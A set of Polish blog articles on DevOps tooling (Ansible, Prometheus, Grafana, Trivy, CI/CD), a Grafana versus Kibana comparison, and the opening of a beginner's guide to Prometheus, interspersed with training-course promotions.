Do czego służy: konfiguruje serwery i instaluje na nich oprogramowanie według opisu w prostym pliku, na wielu maszynach naraz i zawsze do tego samego stanu. Terraform tworzy serwer, a Ansible sprawia, że jest poprawnie skonfigurowany.

Ansible uzupełnia Terraform. Gdzie Terraform odpowiada za powołanie infrastruktury, tam Ansible dba o to, co jest na serwerach: instaluje pakiety, kopiuje konfiguracje, zakłada użytkowników, uruchamia usługi. Opis zadań, zwany „playbookiem", jest czytelny nawet dla osoby, która nie zna narzędzia: to lista kroków z jasnymi nazwami. Poniżej fragment playbooka konfigurującego serwer aplikacji:

- name: Konfiguracja serwera aplikacji Sklep API
  hosts: web
  become: true
  tasks:
    - name: Zapewnij katalog konfiguracji
      ansible.builtin.file:
        path: /etc/sklep
        state: directory

    - name: Utworz systemowego uzytkownika aplikacji
      ansible.builtin.user:
        name: sklep
        system: true

Playbook uruchamia się jednym poleceniem, a Ansible na końcu pokazuje raport (ang. PLAY RECAP) z liczbą zadań wykonanych i zmienionych. Oto prawdziwy wynik uruchomienia naszego playbooka:

Prawdziwe uruchomienie playbooka. Każde zadanie ma jasny status (tutaj changed, czyli Ansible coś zmienił), a końcowy raport PLAY RECAP podsumowuje: pięć zadań wykonanych, trzy wprowadziły zmiany, zero błędów.

Podobnie jak Terraform, Ansible jest idempotentny. Uruchomiony ponownie na już skonfigurowanym serwerze pokaże changed=0, bo nie będzie miał nic do zmiany. To dlatego DevOps tak ceni te narzędzia: opisujesz stan docelowy raz, a potem możesz go egzekwować w kółko, na jednym serwerze albo na tysiącu, zawsze z tym samym skutkiem.

Automatyzację konfiguracji serwerów warto przećwiczyć na realnych maszynach. Szkolenie Automatyzacja zadań z Ansible ma terminy gwarantowane.

Prometheus, Grafana i Loki: monitoring i obserwowalność

Do czego służy: pokazuje, co dzieje się z systemem w czasie rzeczywistym. Prometheus zbiera metryki (liczby, na przykład zużycie procesora), Grafana rysuje z nich pulpity, Loki centralizuje logi, a reguły alertów budzą inżyniera, zanim zauważy to klient.

Nie da się utrzymywać systemu, którego się nie widzi. Ta warstwa nazywa się obserwowalnością (ang. observability), czyli zdolnością odpowiedzenia na pytanie „dlaczego to się dzieje" na podstawie danych, które system o sobie udostępnia. Prometheus to baza czasowa, która co kilkanaście sekund odpytuje aplikacje i serwery o ich metryki. Najpierw sprawdza się, czy w ogóle ma z czego zbierać dane, na liście celów (ang. targets):

Prometheus, lista celów. Każdy wiersz to źródło metryk (aplikacja lub eksporter), a status w kolumnie State mówi, czy Prometheus poprawnie się z nim łączy i zbiera dane.

Metryki odpytuje się językiem PromQL. Poniższe zapytanie liczy udział odpowiedzi z błędem serwera (kody 5xx) w całym ruchu, czyli klasyczny wskaźnik „czy usługa się psuje":

# Udział odpowiedzi 5xx w całym ruchu usługi (ostatnie 5 minut)
sum(rate(http_requests_total{service="sklep-api",status=~"5.."}[5m]))
  /
sum(rate(http_requests_total{service="sklep-api"}[5m]))

Prosty wykres w samym Prometheusie to już duży krok. Ten sam ruch przedstawiony graficznie od razu pokazuje, kiedy zaczął się problem i czy sam wrócił do normy:

Metryka narysowana w czasie w interfejsie Prometheusa. Na wykresie łatwo dostrzec zarówno chwilowy skok, jak i powolny trend, czego z surowych liczb nie widać.

Prometheus rysuje proste wykresy, ale prawdziwe, bogate pulpity buduje się w Grafanie, czyli narzędziu do wizualizacji danych. Pulpit Grafany widzisz już na samej górze tego artykułu: ten kolorowy zestaw wskaźników i wykresów kondycji serwera to właśnie ona. Grafanie poświęciliśmy osobny, szczegółowy przewodnik, więc jeśli chcesz nauczyć się budować takie pulpity od zera, przeczytaj czym jest Grafana w przewodniku dla początkujących.

Sam wykres to za mało. Metryki mają sens dopiero wtedy, gdy potrafią samodzielnie zawołać o pomoc. Do tego służą reguły alertów i menedżer alertów (ang. Alertmanager), który wysyła powiadomienie na wskazany kanał, gdy przekroczony zostanie próg. Poniżej realny, wyzwolony alert po polsku:

Alertmanager z aktywnym alertem. Gdy reguła (tutaj wysokie zużycie procesora) zostaje spełniona przez zadany czas, alert zmienia stan na aktywny i trafia do wskazanego kanału, na przykład na e-mail albo do komunikatora zespołu.

Do metryk dochodzą jeszcze logi (zapisy zdarzeń), które centralizuje Loki albo starszy, ale wciąż popularny stos ELK (Elasticsearch, Logstash, Kibana). Metryki mówią „coś jest nie tak", a logi odpowiadają „dlaczego". Razem tworzą obserwowalność, bez której DevOps byłby lataniem po ciemku.

Cały stos monitoringu w jednym miejscu, na żywej infrastrukturze: Szkolenie Monitoring i Observability: Grafana, Prometheus, Loki, Zabbix ma terminy gwarantowane.

DevSecOps: bezpieczeństwo wpięte w potok

Do czego służy: wykrywa znane podatności w obrazach i zależnościach automatycznie, na etapie budowania, zanim aplikacja trafi na produkcję. Bezpieczeństwo staje się częścią potoku, a nie odrębnym audytem raz do roku.

DevSecOps to DevOps, w którym bezpieczeństwo „przesunięto w lewo", czyli jak najbliżej początku procesu. Zamiast sprawdzać aplikację dopiero przed wdrożeniem, skanuje się ją przy każdym budowaniu. Popularnym skanerem jest Trivy, który wyszukuje znane podatności (ang. CVE) w obrazie. Świetnie pokazuje też, dlaczego wybór podstawowego obrazu ma znaczenie. Przeskanowaliśmy dwa warianty tego samego serwera WWW, pełny (oparty na systemie Debian) i odchudzony (oparty na Alpine):

Skan podatności narzędziem Trivy. Ten sam serwer WWW: wariant pełny (oparty na Debianie) ma 126 poważnych podatności, a odchudzony (oparty na Alpine) tylko 35. Sam wybór chudszego obrazu podstawowego drastycznie zmniejsza powierzchnię ataku.

Ta sama aplikacja, a liczba poważnych podatności spada ze 126 do 35 tylko dlatego, że wybraliśmy chudszy obraz podstawowy. To jest DevSecOps w pigułce: bezpieczeństwo nie jest osobnym etapem na końcu, tylko konsekwencją dobrych decyzji podejmowanych po drodze i pilnowanych automatycznie. Skany takie jak ten wpina się wprost do potoku CI/CD, który potrafi zatrzymać wdrożenie, gdy pojawi się nowa krytyczna podatność.

Chmura i wirtualizacja: fundament, na którym to wszystko stoi

Do czego służy: dostarcza moc obliczeniową na żądanie. Zamiast kupować serwery na lata, wynajmujesz dokładnie tyle, ile potrzebujesz, i płacisz za użycie, a Terraform tworzy to wszystko kodem.

Cała pętla DevOps musi na czymś działać. Najczęściej jest to chmura publiczna: Amazon Web Services (AWS), Microsoft Azure lub Google Cloud (GCP). Chmura daje infrastrukturę na żądanie, rozliczaną za faktyczne użycie, i to z nią najczęściej rozmawia Terraform. Alternatywą (albo uzupełnieniem) jest wirtualizacja na własnym sprzęcie, na przykład Proxmox, popularny do budowy domowego lub firmowego laboratorium. Dla nauki DevOps nie potrzebujesz jednak od razu chmury: pełny klaster Kubernetes postawisz lokalnie na laptopie, dokładnie tak, jak zrobiliśmy to na potrzeby przykładów w tym artykule.

Jak to wszystko gra razem: od commita do produkcji

Pojedyncze narzędzia to dopiero połowa historii. Prawdziwa siła DevOps bierze się z tego, że układają się one w jeden ciągły potok. Prześledźmy drogę zwykłej zmiany w kodzie, od momentu zapisania jej przez programistę do chwili, gdy działa na produkcji i jest obserwowana:

🔄

Commit

Git

⚙️

Build + test

CI/CD

🐳

Obraz

Docker

🛡️

Skan

Trivy

☸

Wdrożenie

Kubernetes

📊

Monitoring

Grafana

Droga jednej zmiany przez potok DevOps. Kod z Gita uruchamia potok CI/CD, który buduje obraz Dockera, skanuje go pod kątem podatności, wdraża na Kubernetes, a Prometheus i Grafana od razu zaczynają go obserwować. Wnioski z monitoringu wracają do planowania kolejnej zmiany.

Commit (Git). Programista zapisuje zmianę i wypycha ją do repozytorium. To wyzwala resztę.
Build i testy (CI/CD). Potok automatycznie pobiera kod, uruchamia testy i buduje aplikację. Jeśli testy nie przejdą, proces się zatrzymuje i nikt nie musi tego pilnować ręcznie.
Obraz (Docker). Z aplikacji powstaje przenośny obraz kontenera, otagowany identyfikatorem tej konkretnej zmiany.
Skan bezpieczeństwa (Trivy). Obraz jest skanowany pod kątem znanych podatności. Krytyczne znaleziska mogą zatrzymać wdrożenie.
Wdrożenie (Kubernetes). Klaster stopniowo zastępuje starą wersję nową, pilnując, żeby usługa ani na chwilę nie przestała odpowiadać.
Monitoring (Prometheus i Grafana). Od pierwszej sekundy nowa wersja jest obserwowana. Jeśli wzrośnie liczba błędów, alert obudzi zespół, a wnioski wrócą do planowania.

Zwróć uwagę, że w całym tym łańcuchu człowiek podejmuje jedną świadomą decyzję: zapisuje dobrą zmianę w kodzie. Resztę wykonują narzędzia. To jest właśnie automatyzacja, o której mówi „A" w skrócie CALMS, i to ona odróżnia dojrzały DevOps od ręcznego wdrażania „na piechotę".

Do czego DevOps przydaje się firmie (i inżynierowi)

Cała ta maszyneria nie jest sztuką dla sztuki. DevOps ma mierzalny cel: dostarczać oprogramowanie szybciej i stabilniej zarazem, co przez lata wydawało się sprzecznością. Najczęściej używa się do tego czterech wskaźników znanych jako metryki DORA (od nazwy zespołu badawczego, który je spopularyzował). Opisują one, jak sprawnie organizacja dowozi zmiany:

Częstotliwość wdrożeń

Jak często dowozimy zmiany. Najlepsze zespoły wdrażają wielokrotnie dziennie.

Czas od kodu do produkcji

Ile mija od zapisania zmiany do jej działania. Cel: godziny, nie tygodnie.

Czas naprawy awarii (MTTR)

Jak szybko wracamy do sprawności po awarii. Cel: minuty, nie dni.

Odsetek nieudanych zmian

Jaka część wdrożeń kończy się awarią. Im mniej, tym dojrzalszy proces.

Cztery metryki DORA. DevOps dąży do tego, by pierwsza z nich rosła (wdrażamy częściej), a trzy pozostałe malały (szybciej, stabilniej, z mniejszą liczbą wpadek). Dobre zespoły poprawiają je wszystkie naraz, bo automatyzacja jednocześnie przyspiesza i zabezpiecza.

Przełóżmy to na konkret. Dla firmy DevOps oznacza szybsze dostarczanie nowych funkcji (a więc szybszą reakcję na rynek), mniej awarii i krótsze przestoje, powtarzalność (nowe środowisko stawia się z kodu w minuty, a nie w dni) oraz przewidywalne koszty infrastruktury. Dla inżyniera to mniej nudnej, ręcznej pracy i gaszenia pożarów, a więcej budowania rzeczy, które sprawiają, że pożary w ogóle nie wybuchają. To także jeden z najlepiej opłacanych i najbardziej poszukiwanych zestawów umiejętności w branży.

Od czego zacząć naukę DevOps

Skoro wiesz już, czym DevOps jest i z czego się składa, naturalne pytanie brzmi „od czego zacząć". Najważniejsza zasada to właściwa kolejność. Najczęstszy błąd to rzucanie się od razu na Kubernetes, bo wygląda najatrakcyjniej. Bez fundamentów jest jednak ścianą niezrozumiałych skrótów. Sensowna droga wygląda tak:

Fundamenty: Linux (bo serwery i kontenery to w większości Linux), sieci, Git i jeden język skryptowy (najczęściej Python albo Bash).
Konteneryzacja i orkiestracja: najpierw Docker, potem Kubernetes. W tej kolejności, nie odwrotnie.
Automatyzacja i infrastruktura jako kod: potoki CI/CD oraz Terraform i Ansible.
Chmura i monitoring: jedna chmura (AWS lub Azure) plus Prometheus i Grafana.

Najlepiej uczyć się na własnym laboratorium. Pełny klaster Kubernetes uruchomisz lokalnie w minutę, a jeśli masz stary komputer lub domowy serwer, postaw na nim Proxmoxa i kilka maszyn wirtualnych, żeby przećwiczyć wszystko od instalacji po symulowaną awarię. Kompletną, rozpisaną na fazy drogę wraz z realnymi widełkami zarobków opisaliśmy osobno, w przewodniku o tym, jak zostać inżynierem DevOps od zera.

Podsumowanie

DevOps to nie narzędzie ani stanowisko, tylko sposób pracy: kultura wspólnej odpowiedzialności za oprogramowanie, wsparta automatyzacją całej pętli od pomysłu po monitoring działającej usługi. Narzędzia, o których mowa, nie są celem samym w sobie, tylko odpowiedziami na konkretne pytania. Git pilnuje historii i jest źródłem prawdy. CI/CD automatyzuje build, testy i wdrożenie. Docker pakuje aplikację, a Kubernetes nią dyryguje na produkcji. Terraform i Ansible zamieniają infrastrukturę w kod. Prometheus i Grafana sprawiają, że widać, co się dzieje, a Trivy pilnuje bezpieczeństwa po drodze. Razem tworzą one potok, w którym zwykła zmiana w kodzie sama płynie przez budowanie, testy, skan, wdrożenie i monitoring, a człowiek podejmuje tylko decyzje, które naprawdę wymagają jego uwagi. To właśnie jest DevOps i do tego on służy.

DevOps — kompleksowe szkolenie z praktykiem
Warsztaty z Dockera, Kubernetes, Ansible, Terraform, CI/CD i monitoringu na realnej infrastrukturze. Uczysz się dokładnie tych narzędzi, które pokazaliśmy w tym artykule. Terminy gwarantowane.
Przyjdź na szkolenie DevOps -->

Grafana vs Kibana - kiedy używać którego (praktyczne porównanie)

Andrzej Klusiewicz — Mon, 24 Aug 2026 15:12:24 +0000

Grafana czy Kibana? Zamiast marketingowego bełkotu pokazujemy różnice na żywych przykładach i mówimy wprost, którą wybrać do czego. Pełna wersja jest na naszym blogu.

Jeśli zderzyłeś się z pytaniem Grafana vs Kibana i internet odpowiada Ci mglistym "oba są świetne do wizualizacji danych", to ten artykuł jest po to, żeby dać Ci konkretną odpowiedź. Postawiliśmy specjalnie na własnym serwerze obie platformy naraz: Grafanę spiętą z Prometheusem oraz pełny Elastic Stack z Kibaną i danymi w Elasticsearch. Wszystkie zrzuty poniżej pochodzą z tych żywych instalacji, więc zobaczysz, czym Grafana i Kibana realnie różnią się w codziennej pracy.

Typowy dashboard metryk serwera w Grafanie, odświeżany na żywo. Zrzut z naszej instalacji spiętej z Prometheusem.

Grafana kontra Kibana w jednym zdaniu

Grafana to uniwersalny panel do wizualizacji, który podłączysz do ponad 150 różnych źródeł danych i który najlepiej sprawdza się przy metrykach oraz monitoringu infrastruktury. Kibana to okno do jednej konkretnej bazy, Elasticsearch, i to okno jest genialne do przeszukiwania oraz analizy logów i danych tekstowych. Najkrócej: Grafana pyta "z czego chcesz rysować wykresy", Kibana zakłada, że dane masz już w Elasticsearch i pyta "czego w nich szukasz".

Czym jest Grafana

Grafana to otwartoźródłowe narzędzie do budowania dashboardów, czyli tablic z wykresami. Jej największa zaleta to niezależność od miejsca przechowywania danych. Sama nic nie przechowuje. Podłącza się do zewnętrznego źródła (Prometheus, InfluxDB, baza SQL, Loki, a nawet Elasticsearch) i rysuje z niego panele. Dlatego sprawdza się tam, gdzie trzeba oglądać kondycję serwerów, aplikacji i sieci: obciążenie procesora, zużycie pamięci, opóźnienia, liczbę żądań na sekundę.

Na dashboardzie wyżej widać klasyczny zestaw dla administratora: wskaźniki zajętości zasobów, wykresy czasowe zużycia CPU i pamięci oraz ruch sieciowy, wszystko odświeżane automatycznie. Jeśli chcesz zrozumieć samą Grafanę od podstaw, mamy osobny, szczegółowy przewodnik: Co to jest Grafana - kompletny przewodnik dla początkujących.

Czym jest Kibana

Kibana to część Elastic Stack, potocznie ELK (Elasticsearch, Logstash, Kibana). W tym trio Kibana jest twarzą całości: interfejsem, przez który oglądasz i analizujesz dane leżące w Elasticsearch. Kluczowa różnica względem Grafany jest fundamentalna. Kibana czyta tylko i wyłącznie Elasticsearch. Nie podłączysz jej do Prometheusa ani do bazy SQL. W zamian dostajesz to, w czym Grafana jest słabsza: pełnotekstowe przeszukiwanie ogromnych zbiorów logów i zdarzeń.

Gotowy dashboard analizy ruchu webowego w Kibanie, na danych z Elasticsearch: wizyty, kody HTTP, mapa i przepływy.

Najważniejsza różnica: źródła danych

Gdyby zapamiętać z tego artykułu tylko jedną rzecz, powinna to być ta. Grafana jest agnostyczna wobec źródła, Kibana jest przywiązana do Elasticsearch. Poniższy zrzut z Grafany to katalog dostępnych typów źródeł danych. Widać Prometheus, Graphite, InfluxDB, OpenTSDB, Loki, a niżej listy pojawia się także Elasticsearch. To dlatego Grafana potrafi na jednym ekranie połączyć metryki z Prometheusa i logi z Elasticsearch. Kibana takiego menu po prostu nie ma, bo źródło jest zawsze jedno.

Grafana podłącza ponad 150 różnych źródeł. Kibana ma tylko jedno: Elasticsearch. To sedno różnicy między tymi narzędziami.

Metryki kontra logi, czyli do czego każde jest stworzone

Uproszczenie, które prawie zawsze się sprawdza: Grafana to świat metryk, Kibana to świat logów. Metryki to liczby zbierane w czasie, na przykład "użycie CPU co 15 sekund". Logi to zapisy zdarzeń z treścią, na przykład "o 14:03 użytkownik X dostał błąd 500 na adresie /zamowienie". Grafana świetnie pokazuje trendy liczbowe. Kibana świetnie pozwala znaleźć konkretne zdarzenie wśród milionów wpisów, przefiltrować je i policzyć.

Nie jest to mur nie do przejścia. Grafana z dodatkiem Loki radzi sobie z logami, a Kibana potrafi rysować wykresy metryk zapisanych w Elasticsearch. Ale każde z narzędzi ma stronę, po której jest u siebie, i warto to szanować przy wyborze.

Przeszukiwanie danych: Discover w Kibanie kontra Explore w Grafanie

Tu Kibana ma wyraźną przewagę. Widok Discover to interaktywne przeszukiwanie surowych dokumentów: histogram wystąpień w czasie, lista pól do filtrowania po lewej i tabela zdarzeń, którą przeszukujesz językiem zapytań KQL. Dla kogoś, kto goni w logach przyczynę awarii, to codzienne narzędzie pracy.

Kibana Discover: przeglądanie i filtrowanie tysięcy surowych logów z histogramem czasu i listą pól. Grafana ma podobny widok Explore, ale to Kibana jest tu u siebie.

Grafana ma swój odpowiednik pod nazwą Explore, gdzie zadajesz doraźne zapytania do źródła bez budowania dashboardu. Jest bardzo dobry przy metrykach z Prometheusa, ale przy przekopywaniu logów pełnotekstowo Kibana daje wygodniejsze i bogatsze doświadczenie.

Wizualizacje i dashboardy

Oba narzędzia budują tablice z wielu paneli i oba wyglądają nowocześnie. Kibana na danych z Elasticsearch potrafi tworzyć rozbudowane wizualizacje: mapy geograficzne, wykresy przepływów, tabele z warunkowym kolorowaniem. Poniżej przykładowy dashboard analizy lotów z heatmapą opóźnień i licznikami.

Kibana potrafi budować bogate dashboardy analityczne na danych z Elasticsearch: liczniki, tabele z heatmapą i wykresy. Tu na danych o lotach.

Różnica jest bardziej w filozofii niż w urodzie. Dashboard Grafany zwykle odpowiada na pytanie "czy system działa poprawnie w tej chwili", a dashboard Kibany na pytanie "co ciekawego wynika z danych, które zebraliśmy". Pierwsze to operacyjny monitoring, drugie to analityka.

Alerty

Grafana ma dojrzały, wbudowany system alertów: definiujesz regułę na dowolnym źródle (na przykład "powiadom, gdy CPU przekroczy 90 procent przez 5 minut") i podpinasz kanały, jak e-mail czy Slack. To jeden z powodów, dla których zespoły operacyjne wybierają Grafanę do monitoringu. W świecie Elastic alerty również istnieją, ale bogatsze reguły bywają częścią płatnych funkcji, a nie samej darmowej Kibany.

Tabela porównawcza Grafana vs Kibana

Kryterium	Grafana	Kibana
Źródła danych	Dziesiątki (Prometheus, InfluxDB, Loki, SQL, Elasticsearch i więcej)	Tylko Elasticsearch
Główne zastosowanie	Metryki, monitoring infrastruktury i aplikacji	Logi, wyszukiwanie i analiza danych tekstowych
Przechowywanie danych	Nie przechowuje, tylko wizualizuje	Ściśle związana z Elasticsearch
Wyszukiwanie pełnotekstowe	Ograniczone	Bardzo mocne (widok Discover, KQL)
Alerty	Wbudowane i rozbudowane w wersji darmowej	Podstawowe za darmo, bogatsze w wersjach płatnych
Ekosystem	Neutralny, spina wiele światów	Elastic Stack (ELK), APM, bezpieczeństwo
Licencja	Otwartoźródłowa, płatne Enterprise i Cloud	Otwartoźródłowa, część funkcji płatna

Kiedy wybrać Grafanę

Monitorujesz infrastrukturę i aplikacje, a dane masz w Prometheusie, InfluxDB lub podobnych.
Chcesz jeden panel łączący kilka różnych źródeł naraz.
Zależy Ci na dojrzałych alertach w wersji darmowej.
Budujesz nowoczesny stos observability wokół Prometheusa i Loki.

Kiedy wybrać Kibanę

Twoje dane, zwłaszcza logi, już są lub trafią do Elasticsearch.
Potrzebujesz mocnego, pełnotekstowego przeszukiwania zdarzeń.
Pracujesz z Elastic Stack, APM albo modułem bezpieczeństwa (SIEM).
Robisz analitykę na danych tekstowych, nie tylko operacyjny monitoring liczb.

Nie musisz wybierać: często używa się obu

W praktyce w wielu firmach Grafana i Kibana współistnieją. Typowy układ to Grafana do metryk (kondycja serwerów, wydajność aplikacji) i Kibana do logów (dochodzenie przyczyn awarii, audyt zdarzeń). Co więcej, ponieważ Grafana potrafi czytać Elasticsearch, część zespołów oglada te same logi zarówno w Kibanie, jak i na wspólnym dashboardzie Grafany obok metryk. To nie wybór albo-albo, tylko dwa narzędzia, które dobrze się uzupełniają.

Podsumowanie

Pytanie "Grafana vs Kibana" najczęściej ma odpowiedź "to zależy od reszty Twojego stosu". Jeśli myślisz metrykami i wieloma źródłami, idź w Grafanę. Jeśli Twój świat to logi w Elasticsearch, idź w Kibanę. A jeśli robisz poważny monitoring produkcyjny, prawie na pewno skończysz z jednym i drugim, bo razem pokrywają cały obraz: liczby i zdarzenia, trend i szczegół, "czy działa" i "dlaczego nie zadziałało".

Chcesz opanować te narzędzia w praktyce, z ćwiczeniami na prawdziwych serwerach? Poprowadzą Cię nasi trenerzy praktycy. Wybierz szkolenie dopasowane do Twojej strony mocy:

Szkolenie Grafana

Szkolenie Elastic Stack (ELK): Elasticsearch, Logstash, Kibana

Szkolenie Monitoring i Observability: Grafana, Prometheus, Loki, Zabbix (wszystko naraz)

Najczęściej zadawane pytania

Grafana vs Kibana - co jest lepsze?

Nie ma jednego zwycięzcy, bo narzędzia rozwiązują inne problemy. Grafana jest lepsza do metryk i monitoringu infrastruktury z wielu źródeł jednocześnie. Kibana jest lepsza do przeszukiwania i analizy logów, gdy dane trzymasz w Elasticsearch. W wielu firmach używa się obu naraz.

Czy Grafana może czytać dane z Elasticsearch?

Tak. Elasticsearch to jedno z wielu wbudowanych źródeł danych Grafany. Możesz więc trzymać logi w Elasticsearch i rysować z nich dashboardy w Grafanie, obok metryk z Prometheusa. Kibana odwrotnie nie potrafi, bo czyta wyłącznie Elasticsearch.

Czy Kibana jest darmowa?

Podstawowa Kibana jest darmowa i otwartoźródłowa, tak samo jak Grafana. Część zaawansowanych funkcji Elastic wymaga płatnej licencji. Grafana w wersji OSS również jest darmowa, a płatne są dodatki Grafana Enterprise i chmura Grafana Cloud.

Grafana czy Kibana do logów?

Jeśli logi są w Elasticsearch, do ich przeszukiwania wygodniejsza jest Kibana. Jeśli budujesz stos wokół Prometheusa, naturalnym wyborem na logi jest Loki oglądany w Grafanie. Obie drogi są poprawne, decyduje reszta Twojego stosu.

Co to jest Prometheus? Kompletny przewodnik dla początkujących

Andrzej Klusiewicz — Mon, 24 Aug 2026 15:12:03 +0000

Prometheus i Grafana to najczęstsza para w monitoringu. W tym tekście tłumaczymy Prometheus od zera, na prawdziwych zrzutach z działającego serwera. Oryginał ukazał się na naszym blogu.

Jeśli Prometheus kojarzy Ci się z tajemniczym narzędziem, o którym mówią zespoły DevOps przy okazji awarii, to trafiłeś dobrze. W tym przewodniku wyjaśnimy od zera, co to jest Prometheus, do czego służy i jak działa, a wszystko pokażemy na przykładach. I nie na diagramach z internetu, tylko na prawdziwych zrzutach z działającej instalacji, którą specjalnie na potrzeby tego artykułu postawiliśmy na własnym serwerze: Prometheus, kilka eksporterów, mała aplikacja z własnymi metrykami oraz Alertmanager. Prometheus i Grafanę widuje się zwykle razem, dlatego ten tekst jest naturalnym uzupełnieniem naszego przewodnika o Grafanie.

Tak wygląda Prometheus w akcji. To jego własny interfejs, a wykres pokazuje tempo zapytań HTTP naszej aplikacji w rozbiciu na poszczególne ścieżki. Wszystkie liczby są prawdziwe. Kliknij zrzut, aby powiększyć.

Prometheus w pigułce: darmowe, otwartoźródłowe narzędzie do zbierania i przechowywania metryk (liczbowych pomiarów zapisywanych w czasie). Prometheus sam co kilkanaście sekund pobiera dane z monitorowanych systemów (model pull), zapisuje je we własnej bazie szeregów czasowych i pozwala je odpytywać językiem PromQL oraz uruchamiać na ich podstawie alerty. To fundament, na którym stoi większość nowoczesnego monitoringu.

Z tego artykułu dowiesz się:

co to jest Prometheus, do czego służy i skąd bierze dane,
czym jest model pull i dlaczego Prometheus sam pobiera metryki,
z jakich elementów składa się architektura Prometheusa,
jak wygląda model danych: metryka, etykiety oraz cztery typy metryk,
jak czytać interfejs Prometheusa: cele, konfigurację, reguły i alerty,
jak działa język PromQL, funkcja rate() i histogramy,
jak Prometheus alarmuje przez Alertmanager,
czym różni się Prometheus od Grafany, InfluxDB i Zabbixa,
jak zainstalować Prometheus w minutę i ile to kosztuje.

Co to jest Prometheus?

Prometheus to otwartoźródłowy (open source, czyli o publicznie dostępnym kodzie) system monitoringu, który zbiera i przechowuje metryki, a następnie pozwala je odpytywać i uruchamiać na ich podstawie alerty. Mówiąc prościej: Prometheus co kilkanaście sekund odwiedza Twoje serwery i aplikacje, spisuje z nich liczby (ile zajętej pamięci, ile obsłużonych żądań, ile błędów) i zapisuje je ze znacznikiem czasu, żeby dało się później zobaczyć, jak te wartości zmieniały się w czasie.

Metryka (ang. metric) to po prostu liczbowy pomiar czegoś, zapisywany regularnie. Ciąg takich pomiarów tej samej rzeczy, ułożony w czasie, nazywamy szeregiem czasowym (ang. time series). Prometheus jest właśnie bazą szeregów czasowych (w skrócie TSDB, od time series database) wyspecjalizowaną w metrykach. To odróżnia go od Grafany, która danych nie przechowuje, tylko je pokazuje. Najprościej zapamiętać podział ról tak: Prometheus zbiera i trzyma dane, Grafana je rysuje. W praktyce prawie zawsze pracują razem.

Krótka historia Prometheusa

Prometheus powstał w 2012 roku w firmie SoundCloud, a stworzyli go inżynierowie, którzy wcześniej pracowali w Google i wzorowali się na wewnętrznym systemie monitoringu Google o nazwie Borgmon. W 2015 roku projekt został udostępniony publicznie, a w 2016 dołączył do fundacji CNCF (Cloud Native Computing Foundation) jako jej drugi projekt, zaraz po Kubernetesie. W 2018 roku uzyskał status projektu dojrzałego (graduated). Dziś Prometheus jest de facto standardem monitoringu w świecie kontenerów i chmury, a jego format metryk stał się na tyle popularny, że obsługują go setki innych narzędzi.

Do czego służy Prometheus? Najczęstsze zastosowania

Prometheus najlepiej czuje się tam, gdzie liczy się bieżący stan techniczny systemu i szybka reakcja na problemy. Oto obszary, w których sprawdza się najczęściej:

Obszar	Przykłady użycia
Serwery i systemy	Zużycie procesora, pamięci, dysku i sieci na maszynach, przez eksporter node_exporter.
Kontenery i Kubernetes	Monitoring kontenerów Dockera i klastrów Kubernetes. To tutaj Prometheus jest standardem numer jeden.
Aplikacje (metryki własne)	Liczba żądań, błędy, czasy odpowiedzi, długość kolejek, wprost z Twojego kodu.
Niezawodność i SLO	Pilnowanie dostępności usług i celów jakości (SLO), z automatycznym alertem, gdy coś się psuje.
Bazy danych i kolejki	Gotowe eksportery dla PostgreSQL, MySQL, Redis, Kafki i wielu innych systemów.

Wspólny mianownik tych zastosowań jest jeden: chcemy widzieć, co dzieje się teraz, i dostać sygnał, zanim użytkownicy zauważą awarię. Do analiz biznesowych i raportów historycznych sięga się raczej po inne narzędzia, o czym powiemy przy porównaniach.

Jak Prometheus zbiera dane? Model pull

Najważniejsza rzecz, którą warto zrozumieć na początku, to sposób, w jaki Prometheus zdobywa metryki. Większość ludzi zakłada, że to aplikacje same wysyłają dane do systemu monitoringu. Prometheus działa odwrotnie. To Prometheus sam łączy się z każdym monitorowanym celem i pobiera z niego metryki. Nazywamy to modelem pull (odpytywania), a samą czynność pobrania metryk słowem scrape.

Model pull kontra model push. Prometheus siega po metryki sam, zamiast czekać, aż ktoś mu je prześle.

Każdy monitorowany element udostępnia swoje metryki pod adresem zakończonym na /metrics, w formie zwykłego tekstu. Prometheus co ustalony czas (domyślnie co 15 sekund, parametr scrape_interval) odwiedza ten adres i zapisuje odczytane liczby. Ma to jedną świetną zaletę: przy okazji Prometheus od razu wie, czy cel w ogóle żyje. Jeśli pobranie się nie uda, zapisuje o tym specjalną metrykę up o wartości 0. Monitoring dostępności dostajemy więc za darmo, przy okazji.

Cała droga danych wygląda tak: eksportery udostępniają metryki, Prometheus je pobiera i zapisuje, a potem albo rysujemy z nich wykresy (najczęściej w Grafanie), albo Prometheus sam uruchamia alert i wysyła go dalej. Prześledźmy to na animacji:

Ścieżka metryk w modelu pull. Prometheus pobiera dane z celów, rysuje z nich wykresy i alarmuje przez Alertmanager.

A co z zadaniami, które są zbyt krótkie, żeby Prometheus zdążył je odpytać, na przykład nocny skrypt, który uruchamia się na dziesięć sekund? Do takich przypadków służy Pushgateway: zadanie wypycha swoje metryki do tego pośrednika, a Prometheus pobiera je już z niego, zwyczajnym scrape'em. To wyjątek, nie reguła. Domyślnie zostajemy przy modelu pull.

Architektura Prometheusa krok po kroku

Prometheus bywa mylony z całym systemem monitoringu, a jest tylko jego sercem. Wokół niego pracuje kilka współpracujących elementów. Poznajmy je, bo każdy pełni inną rolę:

Architektura Prometheusa. Jeden serwer pobiera metryki, przechowuje je i udostepnia jezykiem PromQL, a alerty i wykresy trafiają do osobnych narzędzi.

Serwer Prometheus to główny proces. W środku ma trzy części: mechanizm pobierania metryk (scrape), bazę szeregów czasowych (TSDB), w której je zapisuje, oraz silnik zapytań PromQL wystawiony przez HTTP API.
Eksportery (ang. exporters) to małe programy, które tłumaczą stan systemu na metryki i udostępniają je pod adresem /metrics. Najpopularniejszy to node_exporter (metryki serwera), a dla kontenerów cAdvisor.
Biblioteki klienckie pozwalają Twojej własnej aplikacji liczyć i udostępniać metryki. Są gotowe dla Pythona, Javy, Go, .NET i innych języków.
Wykrywanie celów (ang. service discovery) automatycznie znajduje, co monitorować, na przykład wszystkie pody w Kubernetesie, żeby nie trzeba było wpisywać adresów ręcznie.
Alertmanager to osobny program, który odbiera alerty od Prometheusa, grupuje je i wysyła powiadomienia na e-mail, Slack, Microsoft Teams czy PagerDuty.
Grafana to warstwa wizualizacji. Prometheus rysuje wykresy bardzo skromnie, więc do codziennego oglądania metryk podłącza się właśnie Grafanę.

Ważna uwaga dla początkujących: serwer Prometheus to jeden proces i jeden plik konfiguracji. Nie potrzebujesz osobnej bazy danych ani klastra, żeby zacząć. To jedna z przyczyn jego popularności.

Model danych: metryki, etykiety i typy metryk

